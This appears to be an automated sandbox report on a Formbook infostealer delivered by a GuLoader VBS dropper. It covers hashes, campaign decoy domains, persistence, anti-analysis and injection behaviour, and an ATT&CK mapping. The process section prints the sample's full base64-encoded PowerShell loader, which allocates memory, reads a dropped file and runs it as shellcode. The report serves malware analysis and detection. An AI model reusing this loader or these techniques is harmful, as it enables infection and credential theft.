formbook | e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37

Analysis

max time kernel
148s
max time network
151s
platform
windows7_x64
resource
win7-en-20211208
submitted
09-02-2022 14:58

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Report Analysis Logs

General

Target

file673736 241-22 01.02.22.vbs
Size

165KB
MD5

7faf86b2e1bb45a26367227c777dc668
SHA1

74e41c42eb5b04c532567d9244c969f4895ee3ca
SHA256

e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37
SHA512

c9427897cb391da11ee8325cd0ffd8efc7b94b2c46503a1cc4a71bd8497fcdfa42efccba7613b1119329d26b510486fe1c05290726ce06c53b60b1c76ded6427

Score

10^/10

formbook guloader k6sm downloader persistence rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

k6sm

Decoy

mingshengjewelry.com

ontimecleaningenterprise.com

alyssa0.xyz

ptecex.xyz

dukfot.online

pvcpc.com

iowalawtechnology.com

nestletranspotation.com

mysithomes.com

greenlakespaseattle.com

evofishingsystems.com

unilytcs.com

ordemt.com

dentalbatonrouge.com

pictureme360.net

chalinaslacatalana.com

newmirrorimage.xyz

pinklaceandlemonade.com

rapinantes.com

yzicpa.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1628-78-0x0000000000400000-0x000000000069B000-memory.dmp	formbook
behavioral1/memory/1628-79-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1760-86-0x0000000000090000-0x00000000000BF000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	rundll32.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exeieinstal.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\KV1HB6PH5RP = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ieinstal.exe

pid process

1628 ieinstal.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeieinstal.exe

pid process

848 powershell.exe
1628 ieinstal.exe

pid	process
1628	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeieinstal.exerundll32.exe

description	pid	process	target process
PID 848 set thread context of 1628	848	powershell.exe	ieinstal.exe
PID 1628 set thread context of 1396	1628	ieinstal.exe	Explorer.EXE
PID 1760 set thread context of 1396	1760	rundll32.exe	Explorer.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2329389628-4064185017-3901522362-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	rundll32.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exeieinstal.exerundll32.exe

pid	process
848	powershell.exe
1628	ieinstal.exe
1628	ieinstal.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exeieinstal.exerundll32.exe

pid process

848 powershell.exe
1628 ieinstal.exe
1628 ieinstal.exe
1628 ieinstal.exe
1760 rundll32.exe
1760 rundll32.exe
1760 rundll32.exe
1760 rundll32.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeieinstal.exerundll32.exe

description pid process

Token: SeDebugPrivilege 848 powershell.exe
Token: SeDebugPrivilege 1628 ieinstal.exe
Token: SeDebugPrivilege 1760 rundll32.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Explorer.EXE

pid process

1396 Explorer.EXE
1396 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

1396 Explorer.EXE
1396 Explorer.EXE

description	pid	process
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	1628	ieinstal.exe
Token: SeDebugPrivilege	1760	rundll32.exe

pid	process
1396	Explorer.EXE
1396	Explorer.EXE

pid	process
1396	Explorer.EXE
1396	Explorer.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

WScript.exepowershell.execsc.exeExplorer.EXErundll32.exe

description	pid	process	target process
PID 732 wrote to memory of 848	732	WScript.exe	powershell.exe
PID 732 wrote to memory of 848	732	WScript.exe	powershell.exe
PID 732 wrote to memory of 848	732	WScript.exe	powershell.exe
PID 732 wrote to memory of 848	732	WScript.exe	powershell.exe
PID 848 wrote to memory of 1684	848	powershell.exe	csc.exe
PID 848 wrote to memory of 1684	848	powershell.exe	csc.exe
PID 848 wrote to memory of 1684	848	powershell.exe	csc.exe
PID 848 wrote to memory of 1684	848	powershell.exe	csc.exe
PID 1684 wrote to memory of 416	1684	csc.exe	cvtres.exe
PID 1684 wrote to memory of 416	1684	csc.exe	cvtres.exe
PID 1684 wrote to memory of 416	1684	csc.exe	cvtres.exe
PID 1684 wrote to memory of 416	1684	csc.exe	cvtres.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 848 wrote to memory of 1628	848	powershell.exe	ieinstal.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1396 wrote to memory of 1760	1396	Explorer.EXE	rundll32.exe
PID 1760 wrote to memory of 956	1760	rundll32.exe	Firefox.exe
PID 1760 wrote to memory of 956	1760	rundll32.exe	Firefox.exe
PID 1760 wrote to memory of 956	1760	rundll32.exe	Firefox.exe
PID 1760 wrote to memory of 956	1760	rundll32.exe	Firefox.exe
PID 1760 wrote to memory of 956	1760	rundll32.exe	Firefox.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file673736 241-22 01.02.22.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBIAGoAbABwADIAIABvAHIAZABpAG4AcgBzAGsAbgAgAEsATwBOAFYAIABEAEkAUwBDAEkAIABwAHIAZQBkAGUAdABlAHMAIABUAGUAZwBuAG0AcwAgAGQAZQBpAG4AYwByACAAQgBSAE8AQQBEAEUATgBJAE4ARwAgAEMAQQBQAEUAUgBOAE8AIABGAHIAYQBnAG0AZQA3ACAAUwBrAG0AbQAgAEYAbwByAGIAZQBoAG8AIABIAEEATABTAEgAVgAgAEoAaQBiAGUAZABzAHcAIABiAGUAZgBhAG0AbABpACAAVQBOAEMASABSAEkAUwAgAFIAbwBzAGsAaQBsAGQAZQBuAHMAOQAgAGEAdgBsAHMAIAB1AGQAcgBlAGQAIABSAEUAUABSAEUASABFACAAWQBtAHAAbgBpAG4AIABkAHUAcwB0AHMAaABlAGUAIABQAGEAcgBvACAARQBsAGUAYQAgAFUAbgBkAGUAcgA5ACAATQBvAHQAaQB2AGUAdAAzACAAdABhAGsAdABlAHIAaQBuACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAFUAUABFAFIAUABSAEUARABJADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABTAFUAUABFAFIAUABSAEUARABJADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGQAaQBzAGIAcgBhACwAaQBuAHQAIABPAGwAZAB0AGkALAByAGUAZgAgAEkAbgB0ADMAMgAgAFMAVQBQAEUAUgBQAFIARQBEAEkALABpAG4AdAAgAFAAcgBlAGMAdQByAHIAaQBjAHUALABpAG4AdAAgAFMAVQBQAEUAUgBQAFIARQBEAEkANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABWAGkAbABkAGgAZQBkAG8AbgB5ACwAdQBpAG4AdAAgAFMAUABFAFIATQBJAEUAVABGAEUALABpAG4AdAAgAFAAQQBSAEEAVAAsAGkAbgB0ACAAUwBVAFAARQBSAFAAUgBFAEQASQAwACwAaQBuAHQAIABFAHYAbwBrAGUAcgBzAGsALABpAG4AdAAgAEEARQBDAEkATwAsAGkAbgB0ACAAUwBzAHQAdABlAG4AZAAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAE8AbABkAHQAaQAwACwAdQBpAG4AdAAgAE8AbABkAHQAaQAxACwASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATwBsAGQAdABpADMALABpAG4AdAAgAE8AbABkAHQAaQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBBACgASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkANQAsAGkAbgB0ACAATwBsAGQAdABpADYALABpAG4AdAAgAE8AbABkAHQAaQA3ACwAaQBuAHQAIABPAGwAZAB0AGkAOAAsAGkAbgB0ACAATwBsAGQAdABpADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAbwBsAGkAdgBhAGMAZQAgAFMAawBvAHIAcABlAHMAIABEAHcAYQByAGYAIABGAGwAeQB2ADYAIABQAGwAZQB0AGYAcgBpAGUAMwAgAGEAawB2AGEAdABpAG4AIABiAG8AYQByACAAQgBvAG0AYgBlAHIAZQAgAEEAYgB1AG0AYgAyACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBtAGQAaQBnAG8AbwBnAGUAbgB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBrAHUAcgBzAGkAbwBuAHMAIgAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkAMwA9ADAAOwANAAoAJABTAFUAUABFAFIAUABSAEUARABJADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA4AD0AWwBTAFUAUABFAFIAUABSAEUARABJADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAMAAsAFsAcgBlAGYAXQAkAFMAVQBQAEUAUgBQAFIARQBEAEkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEcAdQBtAG0AMwAgAEEAbgB0AGkANgAgAGgAdgBlAHAAcwBlAG4AZQBzAGkAIAByAGUAYwBlAHAAdAAgAFAAcgBvAHQAZQBzAHQAMwAgAGEAcABwAG8AaQBuAHQAcwBsACAARABFAEwAUABMACAASABBAFYAQQBBAEwAUAAgAHIAdQBiAGkAYwAgAHIAaQBuAGcAZQBsACAATwB2AGUAcgBsAG8AZwBpAGMAYQA0ACAAZgBhAHIAbABpACAATgBhAHIAcgBlAHIAaQA3ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAGgAZQB0AGkAdgBlAHUAbgA3ACIAIAANAAoAJABTAFUAUABFAFIAUABSAEUARABJADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAEEAawB0AGkAdgBzAGcAZQBtAC4AZABhAHQAIgANAAoAIwBUAGkAcwBzAGUAdAAgAEkAYgBsAGEAbgAgAFMAYQBsAHYAIABFAG4AYwBlACAAUwBwAGUAagBsAGsAYQBiAGkAIABTAGoAdQBzAHMANgAgAE8ATQBTAFQATgBJAE4ARwBTAEEAIABuAG8AbgBhAHMAYwBlAHQAaQBjACAATgBPAE4AUAAgAFMAdABpAG4AMwAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkANAA9AFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAE0AaQBzAG0AbwB2ACAARgBvAHIAcwByADUAIABMAGUAZwBpAHQAaQAgAEsAQQBUAEgATABJAE4AUwAgAFAAUgBPAEIATwBTAEMARQBTACAAUAByAG0AaQBlAG8AYgBsAGkAIABoAHIAZQBuAGQAZQBiACAAZgBhAGcAZwByAHUAcABwAGUAIABGAGkAeABpAHQAaABlAG4AZAAgAGEAbAB5AGMAbwAgAE4AbwBuAGQAIABTAGEAZABsAGUAcgBmAGEAdQBuACAAVABhAGsAdAByAGUAZwB1AGwAIABFAEQARwBFAE0AQQBOAEwAIABuAG8AbgBwACAAbQBlAHQAZQBvAHIAbwBsACAAUgBhAGIAYgBpAHQANwAgAFMATwBUAFQASQAgAEEAcgBnAHUAcwBqAGUAdABoADUAIABHAGEAcgBkAGUAcgA3ACAAUABsAGEAYwBpAGQAZwB1ADgAIABDAGgAYQBnAHIAaQBuAG4AZQA1ACAAVQBOAFcATwAgAHIAbgB0AGcAZQBuAGIAbABpAGsAIABmAGwAbwByAGkAcwAgAEIAaQBmAGkAZwA0ACAASABZAEcAUgBPACAATgBvAGcAZwBpAG4AZwBzADMAIABIAEkATABTAEUATgAgAFcAQQBTAEgAVABVACAAUAByAG8AdABvAGMAaQB0AGkAegAgAE8AdgBlAHIAcQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBJAFQAUgAiACAADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA1AD0AMAA7AA0ACgAjAGQAZQBjAGEAeQBlAGQAIABDAGEAcgB0AG0AYQBuAHUAbgBkADQAIABLAFUAUwBPAE4AIABzAHUAYwBjAGUAcwAgAGYAbwByAHYAYQBuACAAVgBpAHIAdAB1AG8AMgAgAFIAZQBkAGkAZwBlAHIAaQBuAGcAIABEAEUATABJAEsAQQBUAEUAIABVAG4AYwBvAGcAbgBpAHoAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAEEAUgBUAE8AVABFAEsAUwAiACAADQAKAFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQA0ACwAJABTAFUAUABFAFIAUABSAEUARABJADMALAA2ADYANQA3ADIALABbAHIAZQBmAF0AJABTAFUAUABFAFIAUABSAEUARABJADUALAAwACkADQAKACMATQBnAGwAZQByADUAIABTAFQASQBMAEEAIABzAGsAbgBkAGkAZwBoACAARgBsAHMAdQBiAGUAcQB1AGEAdAA0ACAAZQBzAHAAcgBlAHMAcwBpAHYAIABQAHIAbwBnAHIAYQBtAG0AZQAgAE4AbwBuAGYAOAAgAFAAUgBJAE4AQwBJAFAAIABCAGUAcgBuAHMAZwAgAGsAcgBhAHMAcwBlAHMAbwBjAGMAIABiAGEAZABnAGUAcgBpACAAUgBlAGoAcwBlAG4AZABlAHkAIAByAGUAcwB0AGEAZwBlAHIAIABzAGEAbQBzAGUAbgBkAGkAbgBnACAAQgByAHUAZwA1ACAAUABhAHAAaQByACAAUwBPAEMASQAgAEEAZABnAGEAbgBnAHMAZgBvAHIAIABLAHIAYQB0AG8AZwBlAG4AaQAxACAAawBpAG4AawAgAEsAVgBJAEsAUwAgAEsAUgBWAEUAUwBLAEUATABUAEkAIABTAGsAcgB2AGUAYgBhAG4AZQByACAARQBuAHQAcgBlAHAAcgAgAFAAbABhAG4AZQB0ADMAIABTAEwAQQBUACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAE8ATgBGAEkAUwBLACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARABDAEEARABFAE4ATwBDAEEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBuAHIAZQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBNAEEATABKAEUAUgBJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAZQB0AGkAcwA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEwAdQBkAGUAcgBrAGEAcgBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAcwBjAGUAbAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGUAYwBlAHMAcwBpADUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgB1AHIAZwBhAG0AbwB0AGEAbQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBnAHIAbwB1AHMAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGEAdAB1AHIAawByAGEAZgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAEEAUgBGAEEAUgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAEkARQBTAEgATwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAEEATQBTAEwARwBEAFIAIgAgAA0ACgBbAFMAVQBQAEUAUgBQAFIARQBEAEkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
2⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5EF3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5EF2.tmp"
4⤵
PID:416

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
3⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:956

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Aktivsgem.dat
MD5
b8fb4faef24302dcfac6cc1a885b1ec2

SHA1
9c14c95107f054c0bfc77243cb99aa57fe3f9bd1

SHA256
9ba5694976d1254b451bc1be9495049fba0421e65d1ccf23fb2c39a2d4f531f0

SHA512
e0506ecdb5fcfcb32e0f32167c30a7daa03e572eb514db96661709751c161f85f265a6f98ce2c2e03aa2cf1a80dbcba489614e7923aa2f7e7fc629b068ef41d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5EF3.tmp
MD5
6d9df0ca535ed1e7d051cb78883dfe8e

SHA1
b702183863b24794529b1c144e1f8ebf41a48d36

SHA256
8d90273ec479956a8cc32748cadd840756a13267eb5acd40de73bef59b4aff2c

SHA512
05d20b0b7314fa16cd005c5bf4c5169ec328b31392ed4da5c0e4280f0fe31ed29362ba487b92b89c6c1c828a8f98dd737d469f311ad5fd8bc146eb6ac3e522d6

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C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.dll
MD5
97f503a3708844d0598897e9321d4416

SHA1
11e028a972c16ea80641a84da1f39f7adc703a0e

SHA256
c45c96ab366857efe25016b7d72d7d9e54a1f867972e56e915822d1fef11344f

SHA512
61088ea755ca11bd3bf5c73b7476eeb77cd2d077ab795b4a2242f49d00b8298d46da1bee9f09d6f8fbd67bdb2ec88ce5f1025ff263226e2e9f46ca9088bfe663

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C:\Users\Admin\AppData\Local\Temp\qhg7ad1k.pdb
MD5
b04f0707c01b498e59d808d249085d42

SHA1
e09d446a53e5701715ef6dd8ce111207ac39a9fc

SHA256
155e6a7de254b57e76bcff5e25ba3f4445439e75b823f397bd363fb9e6635bc6

SHA512
a752710bcbe9471d7ebae0dab085362a3fbbe92064ad2d1d865b415485ff098eb77b816706ac007f145b0c456bd79d9125c3e7b9b0b2aaf347582cc8b7fa39f3

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C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpeg
MD5
5f78c127b617eeec9d951a17f3225a43

SHA1
b13133d5b37c4f283a81bbbbdbb639ee84880962

SHA256
9d84ed1f075044fbe622959cced6e4bb76487a7a948fb9d4428c5ced4bcf8633

SHA512
7d3132d41de80c4de56cdf18b839d8fc18a3755b3f7da01103c3723cf174e69c083efaa902fbf8e354cf2c2be14637b44265e75751159f1d5730188be527b90f

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C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.ini
MD5
2f245469795b865bdd1b956c23d7893d

SHA1
6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

SHA256
1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

SHA512
909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

Download Submit
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.ini
MD5
d63a82e5d81e02e399090af26db0b9cb

SHA1
91d0014c8f54743bba141fd60c9d963f869d76c9

SHA256
eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

SHA512
38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

Download Submit
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.ini
MD5
ba3b6bc807d4f76794c4b81b09bb9ba5

SHA1
24cb89501f0212ff3095ecc0aba97dd563718fb1

SHA256
6eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507

SHA512
ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC5EF2.tmp
MD5
5412b3dfd65e81335bdeea26a14fd366

SHA1
5054a41bac8404b53069249c8cd24c58e0caa7b3

SHA256
9b9b476c0de1838423578fcc45662a3efe41cb64151b7c4f57e55011f59e88d2

SHA512
1417f5bcf2aa3f31e5a2218499f6bfe5a7b23a23914caf490d9d7fecc33e8b0eab434ff2d6173fe92f9e8257c070ab02d55d18d20a67f2af7ce02988514ff206

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\??\c:\Users\Admin\AppData\Local\Temp\qhg7ad1k.0.cs
MD5
697049d413cadd67ef091f8c308f0482

SHA1
0510cd1e3afcb6f0bd7b8ed42fc69aca5a81f2eb

SHA256
461e5bf63d4baf8fde83b3e06708456c781bdae2c8b264f0c5309e719f24d4b2

SHA512
d1da3776083b4f116e11a82534bf5e31949b81d3c448d2d188d80fa357c24ca157c92ef1d9a2a714a1c131100b6c85ad3b492c50af696af10e01cc7ee4e41fde

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qhg7ad1k.cmdline
MD5
383e90489685c48bd62d29440177d62d

SHA1
f5f1b30f8d89484816cc99cd483f827d43780edc

SHA256
89ec9a391c8336f283a14b40b2f624e47d7a3e075a92d870fe77afe4b9b89366

SHA512
09ff2e5246cea152df9830380bd542ffb2e35b073858be85a8d818d5e44c7957f0074f42522ec17b0f3e2b6614e605a05c5ef679b0f4c6d71139e258189415ba

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memory/848-69-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

Filesize
1024KB

Download
memory/848-59-0x0000000002391000-0x0000000002392000-memory.dmp

Filesize
4KB

Download
memory/848-60-0x0000000002392000-0x0000000002394000-memory.dmp

Filesize
8KB

Download
memory/848-56-0x0000000074431000-0x0000000074432000-memory.dmp

Filesize
4KB

Download
memory/848-57-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/848-73-0x00000000779C1000-0x0000000077AC2000-memory.dmp

Filesize
1.0MB

Download
memory/848-74-0x0000000077BB0000-0x0000000077C86000-memory.dmp

Filesize
856KB

Download
memory/848-58-0x0000000074432000-0x0000000074434000-memory.dmp

Filesize
8KB

Download
memory/848-55-0x00000000763B1000-0x00000000763B3000-memory.dmp

Filesize
8KB

Download
memory/1396-83-0x0000000006A20000-0x0000000006B6A000-memory.dmp

Filesize
1.3MB

Download
memory/1396-89-0x0000000007C20000-0x0000000007D2C000-memory.dmp

Filesize
1.0MB

Download
memory/1628-81-0x000000000041F000-0x0000000000420000-memory.dmp

Filesize
4KB

Download
